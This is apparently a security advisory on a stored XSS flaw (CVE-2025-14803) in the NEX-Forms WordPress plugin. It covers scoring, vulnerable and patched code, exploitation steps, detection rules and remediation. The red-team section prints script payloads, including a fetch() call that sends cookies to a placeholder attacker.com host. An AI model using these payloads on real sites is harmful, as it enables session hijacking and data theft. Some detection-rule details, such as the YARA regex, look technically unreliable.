CVE-2025-14803

Executive Summary

CVE-2025-14803 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the NEX-Forms WordPress plugin, affecting versions prior to 9.1.8. The vulnerability arises from insufficient sanitization and escaping of plugin settings, allowing authenticated users with subscriber-level privileges to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users, including administrators, leading to potential session hijacking, data theft, and unauthorized actions. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). As a WordPress plugin vulnerability, it specifically impacts the WordPress ecosystem and should be addressed within that context.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The NEX-Forms plugin is distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the WordPress plugin directory. No third-party package managers (NPM, PyPI, Go, Ruby) are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs subscriber-level access to the WordPress site.
• User Interaction (UI): None – The attack does not require any user interaction to be executed.
• Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure is possible.
• Integrity (I): Low – Limited data modification is possible.
• Availability (A): None – The vulnerability does not affect availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the WordPress admin panel increases the risk.

Deep Dive & Mechanics

The NEX-Forms plugin allows administrators to configure various settings, including form labels, messages, and other text fields. The vulnerability exists because these settings are not properly sanitized or escaped before being stored in the database and later rendered in the WordPress admin interface. An authenticated user with subscriber-level privileges can exploit this by injecting malicious JavaScript code into a setting field. When an administrator or another user views the affected settings page, the injected script executes in their browser context.

Attack Flow:

1. An attacker registers or compromises a subscriber account on the WordPress site.
2. The attacker navigates to the NEX-Forms settings page (e.g., /wp-admin/admin.php?page=nex-forms-settings).
3. The attacker injects a malicious payload into a vulnerable setting field, such as a form label or success message.
4. The payload is stored in the WordPress database without proper sanitization.
5. When an administrator or other user accesses the same settings page, the stored script executes.
6. The script can perform actions such as stealing session cookies, creating new admin users, or exfiltrating sensitive data.

Root Cause: The plugin uses functions like update_option and get_option without applying WordPress's built-in sanitization functions (e.g., sanitize_text_field, wp_kses) or output escaping functions (e.g., esc_html, esc_attr).

Vulnerable vs. Patched Code

Vulnerable Code (before 9.1.8):

// In a settings page callback
$setting_value = get_option('nex_forms_custom_label');
echo '<input type="text" name="nex_forms_custom_label" value="' . $setting_value . '" />';

The $setting_value is directly output without escaping, allowing XSS.

Patched Code (version 9.1.8):

// In a settings page callback
$setting_value = get_option('nex_forms_custom_label');
echo '<input type="text" name="nex_forms_custom_label" value="' . esc_attr($setting_value) . '" />';

The esc_attr() function escapes the output, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with NEX-Forms plugin version < 9.1.8.
• A subscriber-level account.

Exploitation Steps:

1. Log in as a subscriber.
2. Navigate to the NEX-Forms settings page.
3. Locate a vulnerable input field (e.g., "Custom Label").
4. Inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the settings.
6. When an administrator views the settings page, the script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual changes to NEX-Forms settings by non-admin users.
• Look for patterns of script tags in plugin settings fields.
• Use the detection rules provided below.

Mitigation:

• Immediately update the plugin to version 9.1.8 or later.
• Restrict subscriber access to plugin settings pages.
• Implement Web Application Firewall (WAF) rules to block XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/nex-forms/ (presence of vulnerable version)
• Database: Entries in wp_options table with option_name like nex_forms_* containing script tags.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Logs: WordPress debug logs showing unexpected script execution in admin pages.

Detection Engineering

YARA Rule

rule detect_nex_forms_xss {
    meta:
        description = "Detects NEX-Forms plugin files with potential XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14803"
    strings:
        $xss_pattern = /echo.*\$[a-zA-Z_]+.*(?!esc_attr|esc_html|sanitize)/
        $plugin_header = "NEX-Forms"
    condition:
        $plugin_header and #xss_pattern > 0
}

Sigma Rule

title: NEX-Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in NEX-Forms plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin.php?page=nex-forms-settings"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"NEX-Forms Stored XSS Payload"; flow:to_server,established; content:"/wp-admin/admin.php?page=nex-forms-settings"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the NEX-Forms plugin to version 9.1.8 or later.
2. Review and sanitize any custom settings that may have been compromised.
3. Rotate all WordPress admin credentials and session tokens.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce the principle of least privilege for WordPress user roles.
• Regularly audit plugin settings for unauthorized changes.
• Keep all WordPress plugins and themes updated.

Valters IT Signature:

Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com